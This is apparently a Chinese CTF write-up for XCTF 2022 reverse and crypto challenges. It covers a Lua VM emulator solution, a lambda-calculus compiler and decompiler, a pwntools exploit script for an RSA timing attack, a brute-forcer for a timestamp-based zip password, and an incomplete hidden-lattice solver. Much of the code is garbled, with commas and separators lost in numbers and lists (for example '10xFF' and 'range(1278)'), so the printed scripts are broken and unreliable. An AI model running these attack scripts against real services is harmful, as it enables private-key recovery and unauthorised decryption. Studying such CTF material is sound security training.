            local operand = self.slot[1][self.slot[5]+1]
            local inputi = self.slot[1][33+operand]
            self.slot[1][33+operand] = self:lil(inputi + 10xFF)
            self.slot[5] = self.slot[5] + 2
        
        elseif opcode==0x21 then
            local operand = self.slot[1][self.slot[5]+1]
            local regi = self.slot[operand-7]
            self.slot[operand-7] = self:lil(regi + 10xFF)
            self.slot[5] = self.slot[5] + 2

        elseif opcode==0x41 then
            self.slot[6] = self.slot[6] + 1
            local operand = self.slot[1][self.slot[5]+1]
            local regi = self.slot[6]
            self.slot[2][regi] = operand
            self.slot[5] = self.slot[5] + 2

        elseif opcode==0x12 then
            local operand = self.slot[1][self.slot[5]+1]
            local inputi = self.slot[1][33+operand]
            self.slot[1][33+operand] = self:lil(inputi - 10xFF)
            self.slot[5] = self.slot[5] + 2

        elseif opcode==0x23 then
            local operand1 = self.slot[1][self.slot[5]+1]
            local operand2 = self.slot[1][self.slot[5]+2]
            local regi = self.slot[operand1-7]

            self.slot[operand1-7] = self:ili(regi,operand2)
            self.slot[5] = self.slot[5] + 3

        elseif opcode==0x32 then
            self.slot[6] = self.slot[6] + 1
            local operand = self.slot[1][self.slot[5]+1]
            local regi = self.slot[6]
            self.slot[2][regi] = self.slot[2][33+operand]
            self.slot[5] = self.slot[5] + 2

        elseif opcode==0x24 then
            local operand1 = self.slot[1][self.slot[5]+1]
            local operand2 = self.slot[1][self.slot[5]+2]
            local reg1 = self.slot[operand1-7]
            local reg2 = self.slot[operand2-7]

            self.slot[operand1-7] = self:ili(reg1,reg2)
            self.slot[5] = self.slot[5] + 3

        elseif opcode==0x31 then
            local operand = self.slot[1][self.slot[5]+1]
            local regi = self.slot[6]
            self.slot[2][224+operand] = self.slot[2][regi]
            self.slot[6] = self.slot[6] - 1
            self.slot[5] = self.slot[5] + 2

        elseif opcode==0x22 then
            local operand = self.slot[1][self.slot[5]+1]
            local regi = self.slot[operand-7]
            self.slot[operand-7] = self:lil(regi - 10xFF)
            self.slot[5] = self.slot[5] + 2

        elseif opcode==0x42 then
            self.slot[6] = self.slot[6] + 1
            local operand = self.slot[1][self.slot[5]+1]
            local regi = self.slot[6]
            self.slot[2][regi] = self.slot[operand-7]
            self.slot[5] = self.slot[5] + 2

        elseif opcode==0x25 then
            local operand = self.slot[1][self.slot[5]+1]
            local regi = self.slot[6]
            self.slot[operand-7] = self.slot[2][regi]
            self.slot[6] = self.slot[6] - 1
            self.slot[5] = self.slot[5] + 2

        elseif opcode==0x90 then
            return
        else
            break
        end
    end
end

function Util:oOo()
    for i=1,32 do
        if self.slot[2][i+128] ~= self.slot[2][223+i] then
            return false
        end
    end
    return true
end

function Util:ili(num1,num2)
    local tmp1 = num1
    local tmp2 = num2
    local str = ""
    repeat
        local s1 = tmp1 % 2
        local s2 = tmp2 % 2
        if s1 == s2 then
            str = "0"..str
        else
            str = "1"..str
        end
        tmp1 = math.modf(tmp1/2)
        tmp2 = math.modf(tmp2/2)
    until(tmp1 == 0 and tmp2 == 0)
    return tonumber(str,2)
end

function Util:lil(num1,num2)
    local tmp1 = num1
    local tmp2 = num2
    local str = ""
    repeat
        local s1 = tmp1 % 2
        local s2 = tmp2 % 2
        if s1 == s2 then
            if s1 == 1 then
                str = "1"..str
            else
                str = "0"..str
            end
        else
            str = "0"..str
        end
        tmp1 = math.modf(tmp1/2)
        tmp2 = math.modf(tmp2/2)
    until(tmp1 == 0 and tmp2 == 0)
    return tonumber(str,2)
end

return Util

其中 ili 是异或运算(^),lil 是按位与(&),OoO 是 RunVM 函数,oOo 是 Check 函数。

最终解题

分析好每种 opcode 的功能及模拟的内存和寄存器后,使用 python 模拟虚拟机执行并输出伪代码:

inst = [6530371050037113610113410661049050191371050137113610113310661049150192371050237113610113410661049250193371050337113610113310661049350194371050437113610113410661049450195371050537113610113310661049550196371050637113610113410661049650197371050737113610113310661049750198371050837113610113410661049850199371050937113610113310661049950200371050103711361011341066104910502013710501137113610113310661049115020237105012371136101134106610491250203371050133711361011331066104913502043710501437113610113410661049145020537105015371136101133106610491550206371050163711361011341066104916502073710501737113610113310661049175020837105018371136101134106610491850209371050193711361011331066104919502103710502037113610113410661049205021137105021371136101133106610492150212371050223711361011341066104922502133710502337113610113310661049235021437105024371136101134106610492450215371050253711361011331066104925502163710502637113610113410661049265021737105027371136101133106610492750218371050283711361011341066104928502193710502937113610113310661049295022037105030371136101134106610493050221371050313711361011341066104931144144144144]
vm_ip = 0
temp_reg = 0

while vm_ip < len(inst):

    opcode = inst[vm_ip]
    operand1 = inst[vm_ip + 1]

    if opcode == 0x11:
        code = f"(byte) input[{operand1}]++"
        vm_ip += 2

    elif opcode == 0x12:
        code = f"(byte) input[{operand1}]--"
        vm_ip += 2

    elif opcode == 0x21:
        code = f"reg{operand1 - 8}++"
        vm_ip += 2

    elif opcode == 0x22:
        code = f"reg{operand1 - 8}--"
        vm_ip += 2

    elif opcode == 0x23:
        operand2 = inst[vm_ip + 2]
        code = f"reg{operand1 - 8} ^= {operand2}"
        vm_ip += 3

    elif opcode == 0x24:
        operand2 = inst[vm_ip + 2]
        code = f"reg{operand1 - 8} ^= reg{operand2 - 8}"
        vm_ip += 3

    elif opcode == 0x25:
        code = f"reg{operand1 - 8} = memory[{temp_reg}]"
        temp_reg -= 1
        vm_ip += 2

    elif opcode == 0x31:
        code = f"input[{operand1}] = (byte) memory[{temp_reg}]"
        temp_reg -= 1
        vm_ip += 2

    elif opcode == 0x32:
        temp_reg += 1
        code = f"memory[{temp_reg}] = (byte) input[{operand1}]"
        vm_ip += 2

    elif opcode == 0x41:
        temp_reg += 1
        code = f"memory[{temp_reg}] = {operand1}"
        vm_ip += 2

    elif opcode == 0x42:
        temp_reg += 1
        code = f"memory[{temp_reg}] = reg{operand1 - 8}"
        vm_ip += 2

    else:
        break

    print(code)

将输出翻译为高级语言:

buf = list(map(ord"?" * 32))

buf[0] = (buf[0] ^ 30) - 1

for i in range(132):
    buf[i] ^= buf[i - 1]
    if i % 2 == 0 or i == 31:
        buf[i] -= 1
    else:
        buf[i] += 1
    buf[i] &= 0xFF

故有解题脚本:

cipher = [ 94106911108610082203220802183107889881197910491176812061137511548876123 ]

for i in range(310, -1):
    if i % 2 == 0 or i == 31:
        cipher[i] += 1
    else:
        cipher[i] -= 1
    cipher[i] &= 0xFF
    cipher[i] ^= cipher[i - 1]

cipher[0] = (cipher[0] + 1) ^ 30

flag = ''.join(map(chr, cipher))
print(flag)

在游戏里去顶砖块(上面一排是前 16 个字符,下面一排是后 16 个字符),最后再顶问号块,可以得到蘑菇:

show_mushroom

吃了蘑菇去碰板栗仔,墙就会消失,触碰旗帜通关成功:

win_game

lambda-revenge:

这个挑战是XCTF Final 2020 lambda(https://github.com/Mem2019/MyCTFChallenges/tree/master/XCTF2020/lambda)的复仇版本,由于其算法过于简单,部分队伍无意中靠猜测解决了。因此,今年的复仇版本的算法要复杂得多。基本上是使用 Y Combinator 通过递归进行的矩阵乘法

为了减轻 lambda 表达式中算法难度的增加,我们减少了对二进制文件本身进行逆向工程的工作量。具体来说,挑战的源代码在文件main.c中提供给玩家。该文件是一个类似于前一个的 lambda 演算解释器(https://github.com/Mem2019/MyCTFChallenges/blob/master/XCTF2020/lambda/main.c)。然而,这一次实现了引用计数器,以释放未使用的内存。另外,为了支持Y Combinator,解释器改为call-by-need lazy evaluation。换句话说,lambda 表达式在作为参数传递时不会求值,而仅在必须解析时才求值。

挑战的算法可以写成伪代码如下

# To prevent people from guessing the algorithm,
# we slightly pre-process and post-process these values
def chall_dot(a, b):
    assert len(a) == len(b) and len(a) == 3
    a += [013]
    b -= [181513]
    ret = 7
    for i in range(03):
        ret += a[i] * b[i]
    return ret

matrix = [...] # a 3x3 matrix
res = [...] # a 3-element vector
x = input() # a 3-element vector, taken from input

for i in range(03):
    if chall_dot(matrix[i], x) != res[i]:
        print("Wrong")
        exit(1)

print("Correct")

该算法本质上是一个矩阵乘法,其为了防止玩家不反推就猜出来而设计 文件 chall.lisp 是伪代码的 Lisp 版本

# chall.lisp:
; function chall_dot: perform customed dot product.
; When i == 2, it basically performs (a + [0, 1, 3]).dot(b - [18, 15, 13]) + 7.
; We should note that in lambda calculus there is no negative number, 
; so if a <= b, (- a b) is always zero.
(Y (lambda (rec a b i)
    (IF (ISEMPTY a)
        7
        (+
            (* (+ (FST a) (- (* 2 i) 5)) (- (FST b) (+ 13 (- 11 (* 3 i)))))
            (rec (SND a) (SND b) (SUCC i))))))

; function chall_mat: matrix multiply
(Y (lambda (rec m x)
    (IF (ISEMPTY m)
        NIL
        (PAIR (chall_dot (FST m) x 2) (rec (SND m) x)))))

; function chall_cmp: compare 2 lists, return number of equal element pairs
(Y (lambda (rec a b)
    (IF (ISEMPTY a)
        0
        (+ (IF (= (FST a) (FST b)) 1 0) (rec (SND a) (SND b))))))

; chall
(= 3 (chall_cmp (chall_mat matrix input) res))

flag 的长度为 33,分为 11 部分,每部分 3 个字节。每个部分都有一个单独的程序来识别输入是否正确,每个部分都有不同的 matrix 和 res 数字和列表用Church编码表示,相关操作也实现了 可以在文件 compiler.py 中找到更多详细信息。为了支持递归,还有 Y Combinator

# compiler.py:
import random as rd
import numpy as np
import sys
import string

def genFlag(rand=False):
    if rand:
        i = ['l''I''i''1''|']
        flag = "XCTF{M4tR"
        for x in range(0,13):
            flag += i[rd.randint(04)]
        flag += "X_A5_YC0mb}"
    else:
        flag = "XCTF{M4tRI1|i||l|Il|I1X_A5_YC0mb}"
    print(flag, file=sys.stderr)
    flag = list(map(ord, flag))
    return flag

# compile the lambda expression into C representation
# append result to dst, return index to expression
def compileLambda(expr, dst, loc, magic=0xDEFC0719600):
    if type(expr) == int:
        assert expr < 3 # 0 1 2 correspond to 3 inputs
        return magic + expr
        # encoding that represent input

    if expr[0] == "num":
        # For number, we want to prevent reaching recursion limit
        assert type(expr[2]) == int
        assert len(expr[1]) == 2
        f = len(dst)
        last = f + 1
        dst.append(("symbol", expr[1][0])) # f
        dst.append(("symbol", expr[1][1])) # x
        for i in range(0, expr[2]):
            dst.append(("call", f, last))
            last += 1
        dst.append(("lambda", expr[1][1], last))
        last += 1
        dst.append(("lambda", expr[1][0], last))
        ret = last + 1

    elif expr[0] == "lambda":
        body = compileLambda(expr[2], dst, loc, magic)
        if isinstance(expr[1], int):
            ret = len(dst)
            dst.append(("lambda", expr[1], body))
        else# Support multiple-parameter lambda,
            # e.g. lambda (x,y) body == lambda (x) (lambda (y) body)
            last = body
            for a in reversed(expr[1]):
                dst.append(("lambda", a, last))
                last = len(dst) - 1
            ret = last

    elif expr[0] == "call"# Support multiple-argument lambda
        # e.g. (rator rand0 rand1) == ((rator rand0) rand1)
        assert len(expr) >= 3 # at least one argument
        arr = []
        for i in range(1len(expr)):
            arr.append(compileLambda(expr[i], dst, loc, magic))
        last = arr[0]
        for i in range(1len(arr)):
            dst.append(("call", last, arr[i]))
            last = len(dst) - 1
            if arr[i] >= magic:
                loc[arr[i] - magic] = last
        ret = last

    else:
        assert expr[0] == "symbol"
        ret = len(dst)
        dst.append(("symbol", expr[1]))

    return ret

def compileToC(macro, expr, magic=0xDEFC0719600):
    arr = []
    loc = dict()
    idx = compileLambda(expr, arr, loc, magic)
    ret = []
    name = "".join(rd.choices(string.ascii_lowercase, k=16))
    for e in arr:
        if e[0] == "lambda":
            assert e[2] < magic
            ret.append("{.type = kLambda, .u = {.lambda = {.arg = %u, .body = %s + %u}}}" % (e[1], name, e[2]))
        elif e[0] == "call":
            assert e[1] < magic
            if e[2] < magic:
                ret.append("{.type = kCall, .u = {.call = {.rator = %s + %u, .rand = %s + %u}}}" % (name, e[1], name, e[2]))
            else:
                ret.append("{.type = kCall, .u = {.call = {.rator = %s + %u, .rand = (Exp*)%u}}}" % (name, e[1], e[2]))
        else:
            ret.append("{.type = kSymbol, .u = {.symbol = %u}}" % e[1])
    ret = "Exp %s[] = {\n" % name + ",\n".join(ret) + "};\n"
    for k in loc:
        ret += "#define %s_LOC_INPUT%u (%s + %u)\n" % (macro, k, name, loc[k])
    ret += "#define %s (%s + %u)\n" % (macro, name, idx)
    return ret

def sym(s):
    return ["symbol", s]
def churchTrue():
    s = rd.sample(range(00x100), 2)
    return ["lambda", s[1], ["lambda", s[0], sym(s[1])]]
def churchFalse():
    s = rd.sample(range(00x100), 2)
    return ["lambda", s[1], ["lambda", s[0], sym(s[0])]]
def churchAnd():
    s = rd.sample(range(00x100), 2)
    return ["lambda", s[1], ["lambda", s[0],
        ["call", ["call", sym(s[1]), sym(s[0])], sym(s[1])]]]
def churchYComb():
    s = rd.sample(range(00x100), 3)
    return ["lambda", s[0],
        ["call",
            ["lambda", s[1],
                ["call", sym(s[0]), ["call", sym(s[1]), sym(s[1])]]],
            ["lambda", s[2],
                ["call", sym(s[0]), ["call", sym(s[2]), sym(s[2])]]]]]
def churchIf():
    s = rd.sample(range(00x100), 3)
    return ["lambda", s, ["call", sym(s[0]), sym(s[1]), sym(s[2])]]
def churchPair():
    s = rd.sample(range(00x100), 3)
    return ["lambda", s, ["call", sym(s[2]), sym(s[0]), sym(s[1])]]
def churchFirst():
    s = rd.sample(range(00x100), 1)[0]
    return ["lambda", s, ["call", sym(s), churchTrue()]]
def churchSecond():
    s = rd.sample(range(00x100), 1)[0]
    return ["lambda", s, ["call", sym(s), churchFalse()]]
def churchNil():
    s = rd.sample(range(00x100), 1)[0]
    return ["lambda", s, churchTrue()]
def churchIsEmpty():
    s = rd.sample(range(00x100), 3)
    return ["lambda", s[0],
        ["call", sym(s[0]), ["lambda", [s[1], s[2]], churchFalse()]]]
def churchNum(val, opt=True):
    val = int(val)
    s = rd.sample(range(00x100), 2)
    if opt:
        return ["num", s, val]
    else:
        body = sym(s[1])
        for i in range(0, val):
            body = ["call", sym(s[0]), body]
        return ["lambda", s, body]
def churchAdd():
    s = rd.sample(range(00x100), 4)
    return ["lambda", s, ["call", sym(s[0]), sym(s[2]),
        ["call", sym(s[1]), sym(s[2]), sym(s[3])]]]
def churchMul():
    s = rd.sample(range(00x100), 4)
    return ["lambda", s, ["call", sym(s[0]),
        ["call", sym(s[1]), sym(s[2])], sym(s[3])]]
def churchSucc():
    s = rd.sample(range(00x100), 3)
    return ["lambda", s, ["call", sym(s[1]),
        ["call", sym(s[0]), sym(s[1]), sym(s[2])]]]
def churchSub():
    p = rd.sample(range(00x100), 1)[0]
    next_ = ["lambda", p, ["call",
        churchPair(),
        ["call", churchSecond(), sym(p)],
        ["call", churchSucc(), ["call", churchSecond(), sym(p)]]]]
    n = rd.sample(range(00x100), 1)[0]
    pred_ = ["lambda", n,
        ["call", churchFirst(),
            ["call", sym(n), next_,
                ["call", churchPair(), churchNum(0), churchNum(0)]]]]
    s = rd.sample(range(00x100), 2)
    return ["lambda", s, ["call", sym(s[1]), pred_, sym(s[0])]]
def churchIsZero():
    s = rd.sample(range(00x100), 2)
    return ["lambda", s[0], ["call", sym(s[0]),
        ["lambda", s[1], churchFalse()], churchTrue()]]
def churchEq():
    s = rd.sample(range(00x100), 2)
    return ["lambda", s,
        ["call", churchAnd(),
            ["call", churchIsZero(),
                ["call", churchSub(), sym(s[0]), sym(s[1])]],
            ["call", churchIsZero(),
                ["call", churchSub(), sym(s[1]), sym(s[0])]]]]

churches = {
"True": churchTrue,
"And": churchAnd,
"YComb": churchYComb,
"If": churchIf,
"Pair": churchPair,
"First": churchFirst,
"Second": churchSecond,
"Nil": churchNil,
"IsEmpty": churchIsEmpty,
"Add": churchAdd,
"Mul": churchMul,
"Succ": churchSucc,
"Sub": churchSub,
"IsZero": churchIsZero,
"Eq": churchEq}

def buildList(arr):
    # arr should be array of lambda calculus expression
    ret = churchNil()
    for e in reversed(arr):
        ret = ["call", churchPair(), e, ret]
    return ret

def buildVec(vec):
    return buildList(list(map(churchNum, vec)))
def buildMat(mat):
    return buildList(list(map(buildVec, mat)))

def challCmp():
    s = rd.sample(range(00x100), 3)
    rec = ["call", churchAdd(),
            ["call", churchIf(),
                ["call", churchEq(),
                    ["call", churchFirst(), sym(s[1])],
                    ["call", churchFirst(), sym(s[2])]],
                churchNum(1), churchNum(0)],
            ["call", sym(s[0]),
                ["call", churchSecond(), sym(s[1])],
                ["call", churchSecond(), sym(s[2])]]]
    return ["call", churchYComb(),
        ["lambda", s,
            ["call", churchIf(),
                ["call", churchIsEmpty(), sym(s[1])], churchNum(0), rec]]]

def challDot():
    s = rd.sample(range(00x100), 4)
    mul = ["call", churchMul(),
            ["call", churchAdd(),
                ["call", churchFirst(), sym(s[1])],
                ["call", churchSub(), 
                    ["call", churchMul(), churchNum(2), sym(s[3])],
                    churchNum(5)]],
            ["call", churchSub(),
                ["call", churchFirst(), sym(s[2])],
                ["call", churchAdd(), 
                    churchNum(13),
                    ["call", churchSub(),
                        churchNum(11),
                        ["call", churchMul(), churchNum(3), sym(s[3])]]]]]
    rec = ["call", sym(s[0]),
            ["call", churchSecond(), sym(s[1])],
            ["call", churchSecond(), sym(s[2])],
            ["call", churchSucc(), sym(s[3])]]
    return ["call", churchYComb(),
        ["lambda", s,
            ["call", churchIf(),
                ["call", churchIsEmpty(), sym(s[1])],
                churchNum(7),
                ["call", churchAdd(), mul, rec]]]]

def challMat():
    s = rd.sample(range(00x100), 3)
    pair = ["call", churchPair(),
            ["call", challDot(),
                ["call", churchFirst(), sym(s[1])],
                sym(s[2]), churchNum(2)],
            ["call", sym(s[0]),
                ["call", churchSecond(), sym(s[1])],
                sym(s[2])]]
    return ["call", churchYComb(),
        ["lambda", s,
            ["call", churchIf(),
                ["call", churchIsEmpty(), sym(s[1])],
                churchNil(), pair]]]

def solve(mat, res):
    for i in range(03):
        mat[i] += np.array([013], dtype='int')
    res -= 7
    return np.around(np.linalg.solve(mat, res) + \
        13 + np.array([520], dtype='int'))

def genMatRes(flag):
    size = len(flag)
    assert size == 3
    flagArr = np.array(flag, dtype='int') - 13 - np.array([520], dtype='int')
    assert (flagArr > 0).all()
    mat = np.random.randint(28, size=(33))
    matLambda = buildMat(mat)
    matBak = np.array(mat);
    for i in range(03):
        mat[i] += np.array([013], dtype='int')
    res = np.matmul(mat, flagArr) + 7
    resLambda = buildVec(res)
    assert (solve(matBak, res) == flag).all()
    return matLambda, resLambda

def chall(m, r):
    return ["call", churchEq(), churchNum(3),
    ["call", challCmp(),
        ["call", challMat(), m, buildList(list(range(03)))], r]]

if __name__ == '__main__':
    flag = genFlag()
    for i in range(011):
        m, r = genMatRes(flag[i*3:i*3+3])
        print(compileToC("CHALL%u" % i, chall(m, r)))

    print("const Exp* chall[11] = {" + ','.join(["CHALL%u" % i for i in range(011)]) + "};\n")
    print("Exp* inputs[11][3] = {" + ','.join( \
        ["{CHALL%u_LOC_INPUT0, CHALL%u_LOC_INPUT1, CHALL%u_LOC_INPUT2}" % (i, i, i) \
            for i in range(011)]) + "};\n")

由于我们已经有main.c,所以我们只需要逆向lambda表达式即可 预期的方法是实现一个反编译器,该反编译器使用 alpha equivalence 匹配每个 Church 编码 使用这样的反编译 Lisp 程序,即可推出算法,从而算出所需的输入向量

# decompiler.py:
import pwn
from compiler import * 

class Expr:
    def __init__(self, arr, idx):
        self.arr = arr
        self.idx = idx

def loadLambda(vaddr, off, size):
    def toIdx(val):
        if val & (~0xff) == 0xDEFC0719600:
            return -(val & 0xff)-1
        ret = val - vaddr
        assert ret % 0x18 == 0 and ret >= 0
        return ret // 0x18
    def procSymbol(data):
        return ("symbol", pwn.u64(data[8:16]))
    def procLambda(data):
        return ("lambda", pwn.u64(data[8:16]), toIdx(pwn.u64(data[16:24])))
    def procCall(data):
        return ("call", toIdx(pwn.u64(data[8:16])), toIdx(pwn.u64(data[16:24])))
    enum = [procSymbol, procLambda, procCall]
    with open("./lambda"'rb'as fd:
        fd.seek(off)
        data = fd.read(size * 0x18)
    ret = []
    for i in range(0, size * 0x180x18):
        ret.append(enum[pwn.u64(data[i:i+8])](data[i:i+0x18]))
    return Expr(ret, len(ret) - 1)

def updateChurches():
    for k in churches:
        res = []
        idx = compileLambda(churches[k](), res, None0xDEFC0719600)
        churches[k] = Expr(res, idx)

def findLastEqv(s, env, loc):
    for x in reversed(env):
        if x[loc] == s:
            return x[loc ^ 1# hacky way to invert bit
    assert False

def alphaEqv(e0, e1, env):
    t0, t1 = e0.arr[e0.idx], e1.arr[e1.idx]
    if t0[0] != t1[0]:
        return False
    t = t0[0]
    if t == "call":
        return alphaEqv(Expr(e0.arr, t0[1]), Expr(e1.arr, t1[1]), env) and \
            alphaEqv(Expr(e0.arr, t0[2]), Expr(e1.arr, t1[2]), env)
    elif t == "lambda":
        env.append((t0[1], t1[1]))
        ret = alphaEqv(Expr(e0.arr, t0[2]), Expr(e1.arr, t1[2]), env)
        env.pop()
        return ret
    else:
        assert t == "symbol"
        return findLastEqv(t0[1], env, 0) == t1[1and \
            findLastEqv(t1[1], env, 1) == t0[1]

def decodeNum(expr):
    arr = expr.arr
    if arr[expr.idx][0] != "lambda":
        return None
    f = arr[expr.idx][1]
    idx = arr[expr.idx][2]
    if arr[idx][0] != "lambda":
        return None
    x = arr[idx][1]
    idx = arr[idx][2]
    ret = 0
    while True:
        if arr[idx][0] == "symbol" and arr[idx][1] == x:
            return ret
        if arr[idx][0] != "call":
            return None
        if arr[arr[idx][1]][0] != "symbol" or arr[arr[idx][1]][1] != f:
            return None
        ret += 1
        idx = arr[idx][2]

def decompile(expr):
    if expr.idx < 0:
        return "i" + str(-expr.idx)
    for name in churches:
        if alphaEqv(churches[name], expr, []):
            return name
    tmp = decodeNum(expr)
    if tmp is not None:
        return str(tmp)
    args = []
    if expr.arr[expr.idx][0] == "call":
        args.append(expr.arr[expr.idx][2])
        idx = expr.arr[expr.idx][1]
        while True:
            if expr.arr[idx][0] != "call":
                args.append(idx)
                ret = ' '.join([decompile(Expr(expr.arr, i)) for i in reversed(args)])
                return '(' + ret + ')'
            args.append(expr.arr[idx][2])
            idx = expr.arr[idx][1]
    elif expr.arr[expr.idx][0] == "lambda":
        params = [expr.arr[expr.idx][1]]
        idx = expr.arr[expr.idx][2]
        while True:
            if expr.arr[idx][0] != "lambda":
                params = '(' + ' '.join(map(lambda x: 'v'+str(x), params)) + ')'
                return "(lambda %s %s)" % (params, decompile(Expr(expr.arr, idx)))
            params.append(expr.arr[idx][1])
            idx = expr.arr[idx][2]
    elif expr.arr[expr.idx][0] == "symbol":
        return "v" + str(expr.arr[expr.idx][1])
    assert False

if __name__ == '__main__':
    updateChurches()
    chall = loadLambda(0x4040A00x30A00x1BFA8//0x18)
    res0, res1 = [], []
    print(decompile(chall))

    flag = solve(
        np.array([[6,5,5],[5,7,5],[2,3,3]]),
        np.array([1307,1341,781]))
    print("".join(map(lambda x : chr(int(x)), flag)))

详情可见:https://github.com/Mem2019/MyCTFChallenges/tree/master/XCTF2022

Crypto:

TSA:

题目是Timing Attack Against RSA的一个模拟。题目思路是攻击者通过有限次的解密来恢复出部分p,根据Remote Timing Attacks are Practical里的结论,采用Montgomery算法解密g<p会比g>p慢,但Karatsuba算法确实相反的,解密g<p会比g>p快,因此题目里将Montgomery算法的影响放大了(虽然没有具体去实现算法...),考虑到网络延迟的问题,题目也直接将本地的解密时间告知了选手。因此大致

思路如下

  • • Step1 令g1为0b000...0, g2为g1改变第i比特为1。因此当p的第i比特也为1时,g1<g2<q,否则g1<q<g2

  • • Step2 分别解密g1,g2得到解密时间u1,u2

  • • Step3 判断delta=abs(u1 - u2),如果delta比较小,那么第i比特就为1,否则为0,并修改g1对应比特,重复上述步骤直至消耗完解密次数

  • • Step4 Coppersmith恢复出完整p,解密flag

exp如下:

from pwn import *
from Crypto.Util.number import *
import time

BITS = 512
r = remote("127.0.0.1"23333)
n = int(r.recvline().strip().decode())
r.recvuntil(b">")
r.sendline(b"1")
r.recvuntil(b"This is your flag: ")
s = r.recvuntil(b",").strip(b",").decode()
flag = int(s)

bin_g = ["0"] * BITS
bin_gi = ["0"] * BITS
bin_g[0] = "1"
bin_gi[0] = "1"
threshold = 15137300
for i in range(1278):
    bin_gi[i] = "1"
    g = int("".join(bin_g), 2)
    gi = int("".join(bin_gi), 2)

    r.recvuntil(b">")
    r.sendline(b"2")
    r.recvuntil(b"your ct:")
    r.sendline(str(g).encode())
    r.recvuntil(b"step1 use ")
    s = r.recvuntil(b" ns")
    time1 = int(s.strip(b" ns").decode())

    r.recvline()

    r.recvuntil(b">")
    r.sendline(b"2")
    r.recvuntil(b"your ct:")
    r.sendline(str(gi).encode())
    r.recvuntil(b"step1 use ")
    s = r.recvuntil(b" ns")
    time2 = int(s.strip(b" ns").decode())
    r.recvline()

    delta = abs(time2 - time1)
    if delta < threshold:
        bin_gi[i] = "1"
        bin_g[i] = "1"
        print(f"guess 1, delta = {delta}")
    else:
        bin_gi[i] = "0"
        bin_g[i] = "0"
        print(f"guess 0, delta = {delta}")
r.close()
p1 = "".join(bin_g[:277])
pbits = 512
kbits = 224
PR.<x> = PolynomialRing(Zmod(n))
for i in range(2^11):
    print(i)
    tmp = bin(i)[2:].zfill(11)
    pp = Integer((p1 + tmp), 2)
    p = pp<<kbits
    f = x + p
    roots = f.small_roots(X=2^kbits, beta=0.4)
    if roots:
        print(roots)
        break
p = Integer(p) + Integer(roots[0])
q = n//p
print(p * q == n)
e = 65537
d = inverse(int(e), int((p-1)*(q-1)))
flag = pow(flag, d, n)
print(long_to_bytes(flag))

Three:

在这个挑战中,我提供了一个三方安全计算协议——它是参考RSS(复制秘密共享)协议实现的。附件提供了三个压缩包A、B和C以及一个协议源代码。A压缩包未被加密,B和C压缩包被加密。阅读源代码可以发现Save_Data函数中存在压缩包密码泄露的风险。考虑到B和C Save_Data的时间必须晚于A与B和C共享Y00值的时间,Y00的共享时间可以作为爆破压缩包密码的起点。

通过爆破压缩包密码,我们可以解密压缩包C,并在其中找到Y02的随机数掩码,从而获得Y02的原始值。由于计算参与者A知道具有随机数掩码的C02的值,因此A可以计算B02的真值(B02_true=Y02_true-C02_mask)。接下来,我们可以使用B02的实际值来恢复B0的值。由于Y0的值是已知的,A0的值是未知的,因此可以直接计算X0的值。最后,将A0、X0、B0转换为ascii码。

这个挑战实际上是想模拟一个三方参与安全计算的环境,其中一方的安全性较低。完整的数据可能会通过攻击较弱的一方而泄露。

下面这个是爆破压缩包密码的exp

import zipfile

def extract(file, password):
    file.extractall(path='.', pwd=''.join(password).encode('utf-8'))

password_lst = []
prestr='2022-08-27 20:16:17.'
for i in range(0,999999):
    s=str(i)
    tmpnum='0'*(6-len(s))+s
    password_lst.append(prestr+tmpnum)

zfile = zipfile.ZipFile("./C.zip"'r')
for pwd in password_lst:
    try:
        extract(zfile,pwd)
        print(pwd)
        break
    except:
        continue

得到密码是 '2022-08-27 20:16:17.930813'

下面这个是获取flag的exp

def Mul_loc_compute(x1,y1,x2,y2):
    mulx=x1*y1+x1*y2+x2*y1
    return mulx

from Crypto.Util.number import inverse, long_to_bytes
A0 = 28829613228241459
A00_true=200254991086689
A01_true=200241552690281
X00_true=200058430391504
X01_true=200401773940794
C00_true=Mul_loc_compute(A00_true,X00_true,A01_true,X01_true)
C00_mask=C00_true+507412160912
B00_true=199957680670222
Y00_true=C00_mask+B00_true
Y00_mask=Y00_true+(-1008362525723)
Y02_mask=924422050091362838179268571917871
Y02_true=Y02_mask-507036073644
Y01_mask = 12163251699969281466186532960410
Y0=Y00_mask+Y01_mask+Y02_mask
C02_mask=924422050091355025836012334663090
B02_true = Y02_true-C02_mask
B00_true=199957680670222
B01_true=200362172648094
B0=B00_true+B01_true+B02_true
X0=(Y0-B0)//A0
flag = long_to_bytes(A0) + long_to_bytes(X0) + long_to_bytes(B0)
print(flag)

b'flag{23snyau_sllpmxcz}'

noise:

Noisy Hidden Lattice Problem,将其转化为Hidden Lattice Problem求解,具体构造方法参考[The Hidden Lattice Problem]https://arxiv.org/pdf/2111.05436.pdf,

exp如下:

from pwn import *
from hashlib import sha256
from Crypto.Cipher import AES
from base64 import b64decode, b64encode
import time

def ortho_lattice_mod(B, N):
    r = B.nrows()  
    m = B.ncols()
    B1 = B[0:r, 0:m-r]
    B2 = B[0:r, m-r:m]
    if gcd(B2.determinant(),N)==1:
        B1 = matrix(IntegerModRing(N), B1)
        B2 = matrix(IntegerModRing(N), B2)
        mat = matrix(ZZ,m,m)
        mat[0:m-r,0:m-r] = matrix.identity(m-r)
        mat[m-r:m,0:m-r] = -matrix(ZZ,B2.inverse()*B1)
        mat[m-r:m,m-r:m] = N*matrix.identity(r)
    else:
        print('no inverse')
    if gcd(B2.determinant(),N) == 1:
        return mat.transpose()
    else:
        return False

def ortho_lattice(B):
    r = B.nrows()  
    m = B.ncols() 
    prodB = 1
    for j in range(r):
        prodB = prodB * (B.row(j).norm(2))
    c = ceil(2^((m-1)/2+(m-r)*(m-r-1)/4)*prodB)
    BOrtho = (c * B.transpose()).augment(matrix.identity(m))
    RBOrtho = BOrtho.LLL()  
    return RBOrtho[0:m-r,r:m+r]

def solve(B):
    augment_B = B.augment(matrix.identity(r))
    orthoBN = ortho_lattice_mod(matrix(augment_B),N).LLL() 
    ext = orthoBN[0:m-n,:]
    ortho_ext = ortho_lattice(ext)
    hid = ortho_ext
    
    U = hid[0:n+r,m:m+r]
    ker_U = U.left_kernel().basis_matrix()
    out = ker_U*hid
    rec = out[:,0:m]
    return rec

io = remote("127.0.0.1"23334)
N = 126633165554229521438977290762059361297987250739820462036000284719563379254544315991201997343356439034674007770120263341747898897565056619503383631412169301973302667340133958109
C = []
m = 150
r = 56
n = 75
for i in range(56):
    tmp = io.recvline().decode().strip().replace("[""").replace("]""").split(" ")
    c = []
    for j in tmp:
        try:
            t = int(j)
            c.append(t)
        except:
            continue
    C.append(c)
C = matrix(ZZ, r, m, C) % N

ct = io.recvline().strip()
